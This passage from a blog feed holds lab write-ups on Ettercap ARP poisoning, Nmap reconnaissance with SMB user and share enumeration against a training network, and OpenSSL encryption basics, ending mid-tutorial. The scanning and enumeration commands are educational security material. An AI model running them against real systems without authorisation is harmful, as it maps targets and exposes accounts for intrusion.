/></figure><p>2. The Ettercap attack computer first broadcasts ARP requests to obtain the actual MAC addresses for the two target hosts, 10.6.6.23 and 10.6.6.11. The attacking machine then begins to send ARP responses to both target hosts using its own MAC for both IP addresses. This causes the two target hosts to address the Ethernet frames to the attacker’s computer, which enables it to collect data as an on-path attacker.</p><p><strong>Mitigating On-Path Attacks</strong></p><p>On-path attacks, where an attacker intercepts and manipulates communication between two parties, can be mitigated through a combination of technical and organizational measures:</p><p>Technical Measures:</p><p><strong>Encryption:</strong></p><p>End-to-End Encryption: Ensures that only the intended recipients can decrypt the data, even if it’s intercepted.</p><p>Transport Layer Security (TLS): Protects communication channels, particularly for web traffic.</p><p><strong>Virtual Private Networks (VPNs):</strong></p><p>Create encrypted tunnels between devices, making it difficult for attackers to intercept traffic.</p><p><strong>Network Segmentation:</strong></p><p>Dividing networks into smaller segments can limit the attack surface and prevent lateral movement.</p><p>Intrusion Detection Systems (IDS) and Intrusion Prevention Systems (IPS):</p><p>Monitor network traffic for malicious activity and can block suspicious connections.</p><p><strong>Firewall Configuration:</strong></p><p>Configure firewalls to block unnecessary traffic and enforce strict access controls.</p><p><strong>DNS Security:</strong></p><p>Use DNSSEC to validate the authenticity of DNS records and prevent DNS poisoning attacks.</p><p><strong>Web Application Firewalls (WAFs):</strong></p><p>Protect web applications from attacks like cross-site scripting (XSS) and SQL injection.</p><p><strong>Regular Security Audits and Vulnerability Scanning:</strong></p><p>Identify and address vulnerabilities that could be exploited by attackers.</p><p><strong>Organizational Measures:</strong></p><p>Employee Training:</p><p>Educate employees about the risks of on-path attacks and how to recognize and avoid them.</p><p>Teach them to be cautious of phishing attempts and to verify the authenticity of websites and emails.</p><p><strong>Strong Password Policies:</strong></p><p>Enforce strong, unique passwords for all accounts to prevent unauthorized access.</p><p><strong>Multi-Factor Authentication (MFA):</strong></p><p>Add an extra layer of security by requiring users to provide multiple forms of verification.</p><p>Incident Response Plan:</p><p>Have a plan in place to respond to security incidents, including on-path attacks.</p><p><strong>Stay Informed:</strong></p><p>Keep up-to-date with the latest security threats and vulnerabilities.</p><p><strong>Additional Considerations:</strong></p><p>Be Wary of Public Wi-Fi: Avoid using public Wi-Fi for sensitive activities, as it’s more susceptible to on-path attacks.</p><p>Verify Website Authenticity: Ensure you’re accessing legitimate websites by checking the URL and using HTTPS.</p><p>Use Security-Conscious Browsers: Consider using browsers with built-in security features like ad-blockers and tracking protection.</p><p>Stay Updated: Keep your operating systems, applications, and security software up-to-date with the latest patches.</p><p>By combining these technical and organizational measures, you can significantly reduce the risk of successful on-path attacks and protect your sensitive information.</p><h3>Conclusion</h3><p><strong>In this lab, i have successfully demonstrated the potential impact of on-path attacks using the Ettercap tool.</strong> By manipulating the ARP protocol, we were able to intercept and potentially modify network traffic between two devices. This hands-on experience highlights the importance of understanding network security principles and implementing robust security measures to protect against such attacks.</p><p><strong>Key Takeaways:</strong></p><ul><li><strong>ARP Poisoning:</strong> A powerful technique that can be used to compromise network security.</li><li><strong>Ettercap:</strong> A versatile tool for network analysis and security testing.</li><li><strong>Wireshark:</strong> A valuable tool for analyzing network traffic and identifying security threats.</li></ul><p><strong>Recommendations for Future Work:</strong></p><ul><li><strong>Advanced Techniques:</strong> Explore more advanced techniques, such as DNS spoofing and HTTP injection.</li><li><strong>Real-World Scenarios:</strong> Analyze real-world attack scenarios and how they can be mitigated.</li><li><strong>Security Best Practices:</strong> Implement best practices for network security, such as strong password policies, regular security audits, and up-to-date software.</li></ul><p>By understanding the principles of on-path attacks and the tools used to execute them, we can take proactive steps to enhance network security and protect sensitive information.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=dfc854138809" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Leveraging Nmap for Network Discovery and Vulnerability Assessment: A Comprehensive Lab Walkthrough]]></title>
            <link>https://medium.com/@kiplagatkelvin034/leveraging-nmap-for-network-discovery-and-vulnerability-assessment-a-comprehensive-lab-walkthrough-89c85d1d3d6f?source=rss-b3bace61bccc------2</link>
            <guid isPermaLink="false">https://medium.com/p/89c85d1d3d6f</guid>
            <dc:creator><![CDATA[Kiplagatkelvin]]></dc:creator>
            <pubDate>Thu, 31 Oct 2024 21:11:13 GMT</pubDate>
            <atom:updated>2024-10-31T21:11:13.194Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ip4uwH0bAYjkDTPQEIDr6w.png" /></figure><p><strong>Introduction</strong></p><p>Network security is an ongoing challenge, with new vulnerabilities and attack vectors emerging constantly. Nmap, a network discovery and auditing tool, is one of the most effective tools for cybersecurity practitioners to probe network assets. This lab walkthrough will detail how to use Nmap for discovering network hosts, fingerprinting operating systems, and detecting exposed services — skills essential for both red and blue teams.</p><h3>Background / Scenario</h3><p>A Wireshark capture shows unusual activity on a machine on the 10.6.6.0 DMZ network. You’ve been asked to do some active recon on the machine to determine what services it may be offering and if there are vulnerable applications that could present security issues. The IP address of the suspicious computer is 10.6.6.23. You have access to a Kali Linux system on the 10.6.6.0 network.</p><h4>scope</h4><p>In this lab setup, we’ll be working within a virtualized cisco environment using Kali Linux. Our target network is a typical corporate configuration with a range of IP addresses from 10.6.6.0/24. This walkthrough will explore multiple scan types, including discovery, service identification, and NSE scripts for SMB enumeration.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/731/1*VSEwSaW4sqCxFYm3hkoPVA.png" /></figure><p><strong>Environment Setup and Command Basics</strong></p><p>To begin, ensure your kali environment is ready for the scan. After logging into your Kali instance, verify your network configuration:</p><p>This ensures your network interface is up, and you’re connected to the 10.6.6.0/24 subnet. Next, check that Nmap is installed and up-to-date:</p><p><em>nmap -V</em></p><ol><li>Log into the Kali system with the username kali and the password kali<em>.</em> You are presented with the Kali desktop.</li><li>Open a terminal window.</li><li>Verify that Kali has an interface in the 10.6.6.0/24 network using the ifconfig command.</li><li>Use the <em>nmap -V</em> command to verify that Nmap is installed and to display the Nmap version. The output will be similar to what is shown below.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*l1mXnraHQVmmpdUCSWszmQ.png" /></figure><p><strong>Exploring Nmap Options</strong></p><p>Running<em> nmap -h</em> provides a comprehensive list of options and flags. For quick reference, here’s a summary of the core options we’ll use in this lab:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*H0y9EypHUeh2mrwhfFv9BA.png" /></figure><h3><strong>Part 1: Host Discovery and Initial Scans</strong></h3><h3><strong>Discovery Scan</strong></h3><p>To begin reconnaissance, let’s discover active hosts within our network:</p><p><em>nmap -sn 10.6.6.0/24</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7qC8zCHCGFX3KaGsIQBivg.png" /></figure><p>The output from your nmap -sn 10.6.6.0/24 scan shows a ping sweep on the subnet 10.6.6.0/24, where Nmap performed a scan to check for live hosts without scanning individual ports (since -sn skips port scans). Here’s a breakdown of the results:</p><p><strong>Active Hosts</strong>:Seven hosts are up, which includes:</p><ul><li>10.6.6.1 - This is likely the gateway or virtual switch/router, as it usually has the .1 address in a subnet.</li><li>10.6.6.11 (webgoat.vm) - A VM likely running the WebGoat application, a common testing tool for security training.</li><li>10.6.6.12 (juice-shop.vm) - Probably running OWASP Juice Shop, an application used for practicing security attacks.</li><li>10.6.6.13 (dvwa.vm) - Potentially hosting DVWA (Damn Vulnerable Web Application), another security training tool.</li><li>10.6.6.14 (mutillidae.vm) - Likely running Mutillidae, another intentionally vulnerable application.</li><li>10.6.6.23 (gravemind.vm) - Could be hosting another specific application, but the purpose isn’t clear from this name alone.</li><li>10.6.6.100 - No hostname information, possibly another device or VM on the network.</li></ul><p>This command uses a “ping scan” to identify active hosts by sending ICMP echo requests. Active IP addresses will respond, giving us a list of targets. For this lab, assume that IP 10.6.6.23 has been identified as a potentially vulnerable host.</p><h4><strong>Default TCP Scan</strong></h4><p>Now that we’ve identified a target, let’s investigate open ports using a default TCP scan:</p><p><em>nmap 10.6.6.23</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WUjWELCuLc0C0LIhxGaFNA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rTYWDHTQszLkVqzlcmotWA.png" /></figure><p>Each of these open ports represents a potential access point for an attacker, and understanding these services helps evaluate the security posture of 10.6.6.23.</p><h3><strong>Part 2: Deepening Our Scan with OS and Version Detection</strong></h3><h4><strong>Operating System Detection</strong></h4><p>To better understand the host, we’ll attempt to detect its operating system:</p><p><em>sudo nmap -O 10.6.6.23</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ouMn-CMzZfno8HUkdpyQKA.png" /></figure><p>This Nmap scan used the -O flag to perform OS detection on 10.6.6.23 (gravemind.vm), which successfully identified the host as running a Linux operating system, specifically versions between <strong>4.15</strong> and <strong>5.8</strong>. Here&#39;s a breakdown of the results:</p><ul><li><strong>Open Ports</strong>: Six TCP ports are open, supporting services like FTP, SSH, DNS, HTTP, and SMB (NetBIOS and Microsoft-DS).</li><li><strong>MAC Address</strong>: Shows 02:42:0A:06:06:17, which could be helpful for device identification, though it appears not associated with a known vendor.</li><li><strong>Device Type</strong>: Classified as “general purpose,” suggesting this is likely a standard server rather than a specialized device like a router or IoT equipment.</li><li><strong>OS Detection</strong>: Nmap OS detection uses various fingerprints to estimate the operating system. Here, it accurately recognizes a Linux OS kernel within the 4.x to 5.x range.</li><li><strong>Network Distance</strong>: Reported as “1 hop,” indicating that the scan is likely being run within the same local network or subnet, as the device is just one step away in network terms.</li></ul><p>These findings are useful for understanding the device type, its likely OS environment, and potential vulnerabilities specific to Linux kernel versions in the 4.x and 5.x series. If you’d like to dive deeper, we could use further Nmap scripts or other tools to enumerate services in detail or check for specific vulnerabilities on each open port.</p><h4><strong>Service Version Detection</strong></h4><p>For a more granular look at the host’s services, we’ll probe specific ports with version detection:</p><p><em>nmap -v -p21 -sV -T4 10.6.6.23</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1Gp05Hw9WnbvuJGUSToe1Q.png" /></figure><p>In this Nmap scan, the command used -v -p21 -sV -T4 to gather detailed information on port <strong>21</strong> (FTP) for the target 10.6.6.23. Here’s a breakdown of the results:</p><ul><li><strong>Verbose Mode (-v)</strong>: Provides detailed output about each scan phase, showing steps as they happen.</li><li><strong>Specified Port (-p21)</strong>: Limits the scan to only <strong>port 21</strong> (FTP) to focus on this service alone.</li><li><strong>Service Version Detection (-sV)</strong>: Identifies the service version running on an open port. Here, it detects <strong>vsftpd 3.0.3</strong>, a common FTP server.</li><li><strong>Aggressive Timing Template (-T4)</strong>: Speeds up the scan without compromising reliability, useful for a faster scan in non-intrusive environments.</li></ul><p><strong>Scan Findings</strong>:</p><ul><li><strong>Port Status</strong>: Port 21 is open, running FTP.</li><li><strong>Service and Version</strong>: The FTP service is identified as <strong>vsftpd 3.0.3</strong>.</li><li><strong>OS Information</strong>: The service appears to run on a <strong>Unix</strong>-based operating system, inferred from the service response.</li></ul><p>This level of detail can help determine if <strong>vsftpd 3.0.3</strong> has known vulnerabilities or misconfigurations that could be exploited. Further steps could include testing for default FTP credentials or checking if anonymous login is allowed.</p><h4><strong>Aggressive Scan with -A Option</strong></h4><p>To combine these scans and maximize information retrieval, use an aggressive scan:</p><p><em>nmap -p21 -sV -A 10.6.6.23</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YgGB9SjEkw8DbPF2vKxwsQ.png" /></figure><p>Your Nmap scan indicates that the target host (gravemind.vm at 10.6.6.23) is running an FTP server (vsftpd 3.0.3) and allows anonymous access. Here’s a brief breakdown of the findings:</p><p><strong>Scan Summary of the above</strong></p><ul><li>Host Status: Up (with low latency)</li><li>Open Port:</li><li>21/tcp (FTP):</li><li>Service: vsftpd 3.0.3</li><li>Anonymous Access: Allowed (FTP code 230)</li></ul><p>Files Accessible via Anonymous FTP:</p><ol><li>file1.txt (16 bytes)</li><li>file2.txt (16 bytes)</li><li>file3.txt (29 bytes)</li><li>supersecretfile.txt (26 bytes)</li></ol><h4>FTP Server Info:</h4><ul><li>Connected to 10.6.6.1</li><li>Logged in as ftp</li><li>Transfer type: ASCII</li><li>Control and data connections are unencrypted (plain text)</li><li>Session timeout: 300 seconds</li></ul><h4>Potential Risks:</h4><ul><li>Anonymous FTP Access: Allows unauthorized users to access potentially sensitive files.</li><li>Plain Text Connections: No encryption, exposing data to interception.</li></ul><h4>Recommendations:</h4><ul><li>Disable Anonymous FTP Access to prevent unauthorized file access.</li><li>Implement Secure FTP (SFTP/FTPS) to encrypt connections.</li><li>Regularly Review Files on the FTP server for sensitive information.</li></ul><h3><strong>Part 3: Running NSE Scripts for SMB Enumeration</strong></h3><p>The Server Message Block (SMB) protocol is a network file sharing protocol supported on Windows computers and by SAMBA on Linux. SMB enables applications to read and write files or request services over a network. Open public shares or shared devices such as print servers on a network, can be accessed through SMB.</p><p>The earlier scan of open ports on the target computer indicates that the SMB ports 139 and 445 are open. Find more information on these ports using the -A and -p command options. The -A option executes several functions including running the default scripts. Specify more than one port to scan by listing them separately with a comma between them</p><p><em>nmap -A -p139,445 10.6.6.23</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oNANNfSjgoLqw-D8phvL0Q.png" /></figure><h4>Results Summary</h4><ul><li><strong>Host Status</strong>:</li></ul><p>The host (10.6.6.23) is up, with a low latency of 0.00045 seconds, indicating it’s reachable and responsive.</p><p><strong>Open Ports</strong>:</p><p><strong>Port 139/tcp</strong>:</p><ul><li><strong>State</strong>: Open</li><li><strong>Service</strong>: NetBIOS Session Service (part of SMB)</li><li><strong>Version</strong>: Samba smbd 3.X — 4.X, indicating it supports SMB versions 3.x to 4.x.</li></ul><p><strong>Port 445/tcp</strong>:</p><ul><li><strong>State</strong>: Open</li><li><strong>Service</strong>: NetBIOS Session Service</li><li><strong>Version</strong>: Samba smbd 4.9.5-Debian, showing a specific version of the Samba service used to handle SMB requests.</li></ul><h4>Additional Information</h4><p><strong>Service Info</strong>:</p><p>Host: GRAVEMIND</p><p>Workgroup: WORKGROUP</p><p><strong>Security Mode</strong>:</p><ul><li>The smb-security-mode section shows:</li></ul><p><strong>Account Used</strong>: &lt;blank&gt;, suggesting no specific account was used for the scan.</p><p><strong>Authentication Level</strong>: user, which indicates that user-level access is required.</p><p><strong>Challenge Response</strong>: Supported, meaning the service can use challenge-response authentication.</p><p><strong>Message Signing</strong>: Disabled, which is considered a security risk (as it can expose SMB traffic to man-in-the-middle attacks).</p><p><strong>SMB2 Security Mode</strong>:</p><p>Message signing is enabled but not required, which can also pose a security risk.</p><p><strong>OS Discovery</strong>:</p><ul><li>Detected Operating System: Windows 6.1 (Samba 4.9.5-Debian), suggesting the system is running a version of Samba emulating a Windows environment.</li><li>Computer Name: GRAVEMIND</li><li>Domain Name: &lt;blank&gt;, indicating that the system is not part of a domain.</li></ul><p><strong>Time Information</strong>:</p><p>The SMB service provides the current date and time as well as system time synchronization information.</p><h4>Conclusion</h4><p>The scan reveals that the target machine is running Samba, likely functioning as a file and print server. The presence of open SMB ports with some security features disabled poses potential security risks, making it essential to implement proper configurations to secure the service</p><h4><strong>Enumerating SMB Users</strong></h4><p>Nmap contains the powerful Nmap Scripting Engine (NSE), which enables the programming of various Nmap options and conditional actions to be taken as a result of the responses. NSE has built-in scripts that enumerate users, groups, and network shares. One of the more commonly used scripts for SMB discovery is the smb-enum-users.nse script. Use the Nmap NSE script with the command:</p><p><em>nmap --script smb-enum-users.nse -p139,445 10.6.6.23</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-9SB6-0fPb6RHWJtTR_TVg.png" /></figure><p><strong>Results Summary</strong></p><ul><li><strong>Host Status</strong>:</li><li>The host (10.6.6.23) is up and responsive, with a latency of 0.0010 seconds.</li><li><strong>Open Ports</strong>:</li><li><strong>Port 139/tcp</strong>: Open and associated with the NetBIOS Session Service.</li><li><strong>Port 445/tcp</strong>: Open and associated with Microsoft Directory Services (another SMB-related service).</li></ul><h4><strong>User Enumeration Results</strong></h4><p>The script successfully enumerated user accounts on the SMB service. Here are the details:</p><ol><li><strong>User: GRAVEMIND\arbiter</strong></li></ol><ul><li><strong>RID</strong>: 1001 (Relative Identifier, a unique number assigned to the user in the context of the domain).</li><li><strong>Flags</strong>:</li><li><strong>Account disabled</strong>: Indicates that this user account is currently disabled.</li><li><strong>Password not required</strong>: This suggests that a password is not required to log in to this account.</li><li><strong>Normal user account</strong>: Indicates this account has standard user privileges, not elevated privileges.</li></ul><ol><li><strong>User: GRAVEMIND\masterchief</strong></li></ol><ul><li><strong>RID</strong>: 1000.</li><li><strong>Flags</strong>:</li><li><strong>Account disabled</strong>: This user account is also disabled.</li><li><strong>Password not required</strong>: Similarly, a password is not required to log in to this account.</li><li><strong>Normal user account</strong>: This is also a standard user account.</li></ul><p><strong>Conclusion</strong></p><p>The enumeration reveals two user accounts on the target machine (GRAVEMIND), both of which are disabled and configured to not require passwords. This setup may indicate poor security practices, as disabled accounts still being enumerated can present risks if an attacker can enable them or exploit weaknesses in the SMB service.</p><p>Overall, the results highlight potential vulnerabilities in the configuration of user accounts, making it crucial for system administrators to regularly review and tighten security settings on SMB services.</p><p>The output shows any usernames found on the SMB server, helping identify potentially exposed accounts. Access to usernames can be useful for brute force attacks, making it essential to secure user lists.</p><h4><strong>Enumerating Shared Directories</strong></h4><p>To see if the host shares directories, A serious security concern is the existence of publicly shared directories (folders). You can enumerate the network shares using another NSE script, smb-enum-shares.nse. To discover shared directories on the target computer. Use the Nmap share enumeration script with the command:</p><p><em>nmap — script smb-enum-shares.nse -p445 10.6.6.23</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*u6BTmBxH02Va_7o1TXx_5w.png" /></figure><h4><strong>Results Summary</strong></h4><ul><li><strong>Host Status</strong>:</li><li>The host (10.6.6.23) is up and responsive, with a latency of 0.00087 seconds.</li><li><strong>Open Port</strong>:</li><li><strong>Port 445/tcp</strong>: Open and associated with Microsoft Directory Services (again, indicating an SMB service).</li></ul><p><strong>Share Enumeration Results</strong></p><p>The script successfully identified three shared directories on the SMB service:</p><ol><li><strong>Share: \\10.6.6.23\IPC$</strong></li></ol><ul><li><strong>Type</strong>: STYPE_IPC_HIDDEN (Inter-Process Communication, typically hidden from normal enumeration).</li><li><strong>Comment</strong>: IPC Service (Samba 4.9.5-Debian).</li><li><strong>Users</strong>: 1 (indicating at least one user is connected).</li><li><strong>Max Users</strong>: &lt;unlimited&gt; (indicating no limit on user connections).</li><li><strong>Path</strong>: C:\tmp (the file system path for this share).</li><li><strong>Anonymous Access</strong>: READ/WRITE (indicating that anyone can access this share with read and write permissions).</li></ul><ol><li><strong>Share: \\10.6.6.23\print$</strong></li></ol><ul><li><strong>Type</strong>: STYPE_DISKTREE (a standard disk share).</li><li><strong>Comment</strong>: Printer Drivers.</li><li><strong>Users</strong>: 0 (indicating no current users are connected).</li><li><strong>Max Users</strong>: &lt;unlimited&gt;.</li><li><strong>Path</strong>: C:\var\lib\samba\printers.</li><li><strong>Anonymous Access</strong>: READ/WRITE (indicating open access for any user).</li></ul><ol><li><strong>Share: \\10.6.6.23\workfiles</strong></li></ol><ul><li><strong>Type</strong>: STYPE_DISKTREE.</li><li><strong>Comment</strong>: Confidential Workfiles.</li><li><strong>Users</strong>: 0.</li><li><strong>Max Users</strong>: &lt;unlimited&gt;.</li><li><strong>Path</strong>: C:\var\spool\samba.</li><li><strong>Anonymous Access</strong>: READ/WRITE.</li></ul><p><strong>Conclusion</strong></p><p>The scan revealed three shares on the target SMB service, with two of them (print$ and workfiles) indicating that they allow anonymous access with read/write permissions. This is a significant security risk, as it enables any user to access, modify, or delete files in these shares without authentication.</p><ol><li><strong>IPC$</strong>: Typically used for administrative purposes, but allowing anonymous access can lead to unauthorized access.</li><li><strong>print$</strong>: Sharing printer drivers could expose sensitive information if unauthorized users access it.</li><li><strong>workfiles</strong>: The comment suggests that it contains confidential data, which should not be openly accessible.</li></ol><p>Overall, the findings suggest that the SMB service on the target system has misconfigured shares, making it crucial to review and tighten access controls to prevent unauthorized access and potential data breaches. Proper configurations should restrict anonymous access and enforce authentication for sensitive shares.</p><p>If public or anonymous shares are enabled, unauthorized users might gain read/write access to sensitive files. This is a serious risk, especially in internal networks, where such shares can provide a foothold for lateral movement.</p><p><strong>Reflection on Findings</strong></p><p>This lab demonstrates how Nmap provides critical insights into network vulnerabilities. Key takeaways include:</p><ul><li><strong>Nmap’s Power in Recon</strong>: Both blue and red teams benefit from Nmap’s ability to map out network assets and assess their exposure.</li><li><strong>Security Implications of Open Ports and Services</strong>: Each exposed service, such as FTP or SMB, has associated risks. Controlling access to these ports and implementing access restrictions can mitigate these vulnerabilities.</li><li><strong>Ethical and Practical Considerations</strong>: While Nmap is an invaluable tool, its use should be governed by ethics and proper authorization, especially given its ability to expose sensitive details about a network.</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=89c85d1d3d6f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Understanding Public Key Infrastructure (PKI) and Certificate Management for Secure Web…]]></title>
            <link>https://medium.com/@kiplagatkelvin034/understanding-public-key-infrastructure-pki-and-certificate-management-for-secure-web-ea1d5f204206?source=rss-b3bace61bccc------2</link>
            <guid isPermaLink="false">https://medium.com/p/ea1d5f204206</guid>
            <dc:creator><![CDATA[Kiplagatkelvin]]></dc:creator>
            <pubDate>Tue, 29 Oct 2024 23:36:50 GMT</pubDate>
            <atom:updated>2024-10-29T23:36:50.787Z</atom:updated>
            <content:encoded><![CDATA[<h3>Understanding Public Key Infrastructure (PKI) and Certificate Management for Secure Web Transactions</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/511/1*xbVJMFiEgomaQzd90AAomQ.png" /></figure><p><strong>Public Key Infrastructure (PKI) and Certificate Management</strong></p><p>Public Key Infrastructure (PKI) is a system that facilitates secure communications and digital signatures using pairs of cryptographic keys — public and private. PKI includes key components such as certificate authorities (CAs), which issue digital certificates that link a user’s identity to their public key, establishing trust in online transactions.</p><p><strong>Key Components of PKI:</strong></p><ul><li><strong>Public and Private Keys</strong>: Asymmetric keys used for secure communication and authentication.</li><li><strong>Digital Certificates</strong>: Electronic documents issued by CAs that confirm a user’s identity and contain the public key.</li><li><strong>Certificate Authorities (CAs)</strong>: Trusted entities responsible for issuing and managing certificates.</li></ul><p><strong>Certificate Management</strong> involves overseeing the entire lifecycle of a digital certificate, including:</p><ol><li><strong>Issuance</strong>: Creating and validating certificates through CAs.</li><li><strong>Deployment</strong>: Installing certificates on servers to enable secure connections.</li><li><strong>Renewal and Expiration</strong>: Tracking and renewing certificates before they expire.</li><li><strong>Revocation</strong>: Invalidating compromised certificates and updating users through Certificate Revocation Lists (CRLs).</li><li><strong>Auditing</strong>: Regularly reviewing certificate usage to ensure compliance with security policies.<strong>symmetric and asymmetric encryption</strong></li></ol><h4>1. Symmetric Encryption</h4><p>In symmetric encryption, the <strong>same key</strong> is used for both encryption and decryption. This type of encryption is typically fast and suitable for large data sets but requires secure key distribution.</p><p><strong>Process</strong>:</p><ol><li>The sender encrypts the message using a <strong>shared secret key</strong>.</li><li>The encrypted message is sent to the receiver.</li><li>The receiver decrypts the message using the <strong>same key</strong>.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/304/1*L76OptzjcenGygMddXqIiw.png" /></figure><p><strong>Key Challenge</strong>: Securely sharing the symmetric key between sender and receiver.</p><h3>2. Asymmetric Encryption</h3><p>In asymmetric encryption, two different but mathematically related keys are used: a <strong>public key</strong> for encryption and a <strong>private key</strong> for decryption. The public key is shared openly, while the private key is kept secret.</p><p><strong>Process</strong>:</p><ol><li>The sender encrypts the message using the <strong>recipient’s public key</strong>.</li><li>The encrypted message is sent to the receiver.</li><li>The receiver decrypts the message using their <strong>private key</strong>.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/304/1*KqF9LWQwDpi2khAOVUClRQ.png" /></figure><p><strong>Key Advantage</strong>: No need to share a secret key; only the private key must remain secure.</p><p>Both methods are crucial in cybersecurity, with <strong>symmetric encryption</strong> being efficient for bulk data encryption and <strong>asymmetric encryption</strong> providing secure key exchanges and digital signatures.</p><h3>Proof of concepts:</h3><h4>symmetrical Encryption using openSSL</h4><h4>Step 1: Generate a Symmetric Key</h4><p>For symmetric encryption with OpenSSL, we can use a passphrase as a key instead of generating a separate key file.</p><p>But we must install openssl or check if it is already install:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fEe55dY4iPdZJ_z09QV3JQ.png" /></figure><h3>Step 2: Encrypt a Message with a Symmetric Key</h3><ol><li><strong>Create a Plaintext File</strong>:</li></ol><p>Let’s start by creating a sample plaintext file. Run the following command to create it:</p><p>echo &quot;This is a symmetric encryption example using OpenSSL.&quot; &gt; plaintext.txt</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GAZnKkaz1kcMOjFng95kBQ.png" /></figure><p><strong>2. Encrypt the File</strong>:</p><p>Use the openssl enc command to encrypt the file with a passphrase. Here’s an example with AES-256-CBC, a common symmetric encryption algorith</p><p><em>openssl enc -aes-256-cbc -md sha512 -pbkdf2 -iter 1000 -salt -in plaintext.txt -out message.enc.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bvJ2IEvbuBko6HXA2vwT0Q.png" /></figure><p><strong>Explanation</strong>:</p><p>This command encrypts a file named plaintext.txt using the Advanced Encryption Standard (AES) with a 256-bit key size in Cipher Block Chaining (CBC) mode.</p><p>Here’s a breakdown of the options used:</p><ul><li><strong>-aes-256-cbc</strong>: Specifies the encryption algorithm (AES-256-CBC).</li><li><strong>-md sha512</strong>: Uses SHA-512 as the message digest algorithm for key derivation.</li><li><strong>-pbkdf2</strong>: Employs the Password-Based Key Derivation Function 2 (PBKDF2) to derive a cryptographic key from the user-provided passphrase.</li><li><strong>-iter 1000</strong>: Sets the number of iterations for the PBKDF2 algorithm. A higher iteration count increases the security of the derived key.</li><li><strong>-salt</strong>: Adds a random salt to the encryption process, making it more resistant to dictionary attacks.</li><li><strong>-in plaintext.txt</strong>: Specifies the input file to be encrypted.</li><li><strong>-out message.enc</strong>: Specifies the output file containing the encrypted data.</li></ul><p>The encrypted output is saved as message.enc. You will be prompted to enter a password, which is required to decrypt the file later.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AoDK8KZmN0rVYXBAitcODQ.png" /></figure><h3>Step 3: Decrypt the Message with the Same Symmetric Key</h3><p>To decrypt the message, we use the same command but with the -d (decrypt) option:</p><p><em>openssl enc -aes-256-cbc -md sha512 -pbkdf2 -in message.enc -out plaintext.txt -d</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4i60J9ND0HV8Fka3z7P4RA.png" /></figure><p><strong>Explanation</strong>:</p><ul><li>-d tells OpenSSL to decrypt.</li><li>The rest of the parameters are similar to encryption but with the output going to <em>plaintext.txt</em></li></ul><p>When you run this command, OpenSSL prompts you to enter the password that was used during encryption. Upon entering the correct password, <em>message.enc</em> will be decrypted, and its original content will be saved to <em>plaintext.txt </em>If an incorrect password is entered, decryption will fail, and the content will remain inaccessible.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LCTaFcLEvZl_BG94McKqew.png" /></figure><h3><strong>Asymmetrical encryption using openSSL</strong></h3><p><strong>Asymmetric encryption</strong> example using <strong>OpenSSL</strong>. In asymmetric encryption, we use a pair of keys: a <strong>public key</strong> to encrypt data and a <strong>private key</strong> to decrypt it. This is useful for scenarios like secure message exchanges, SSL/TLS, and digital signatures.</p><h4>Steps for Asymmetric Encryption Using OpenSSL</h4><p>We’ll go through generating a key pair, encrypting a message with the public key, and decrypting it with the private key.</p><h4>Step 1: Generate a Private Key</h4><ol><li><strong>Generate an RSA Private Key</strong>:</li><li>Run the following command to create a 2048-bit RSA private key (saved as private_key.pem):</li></ol><p><em>openssl genpkey -algorithm RSA -out private_key.pem -aes256</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dzh1gUa3nDHPbUZ9L1tudQ.png" /></figure><p>You’ll be prompted to enter a passphrase to protect the private key file.</p><p><strong>Check the Key (Optional)</strong>:</p><p>To view the private key details, you can use:</p><p><em>openssl rsa -in private_key.pem -text -noout</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HkaqaJahkyLQI_P0FexALA.png" /></figure><h3>Step 2: Extract the Public Key from the Private Key</h3><ol><li><strong>Generate a Public Key</strong>:</li></ol><p>Using the private key, extract the public key</p><p>This will create a file named public_key.pem containing the public key.</p><p><em>openssl rsa -in private_key.pem -pubout -out public_key.pem</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0n-R16SVtZe4Gz_MFJRAkg.png" /></figure><p><strong>2. Check the Public Key (Optional)</strong>:</p><p>To view the public key details, you can use:</p><p><em>openssl rsa -pubin -in public_key.pem -text -noout</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ljMsPLkpfHLBOD_-e9Evjw.png" /></figure><h3><strong>Step 3: Encrypt a Message Using the Public Key</strong></h3><ol><li><strong>Create a Plaintext File</strong>:</li></ol><p>Let’s create a plaintext file to encrypt:</p><p><em>echo &quot;This is an example of asymmetric encryption using OpenSSL.&quot; &gt; message.txt</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rgsrXeUTna9xs1U7GnHWqw.png" /></figure><p><strong>2. Encrypt the 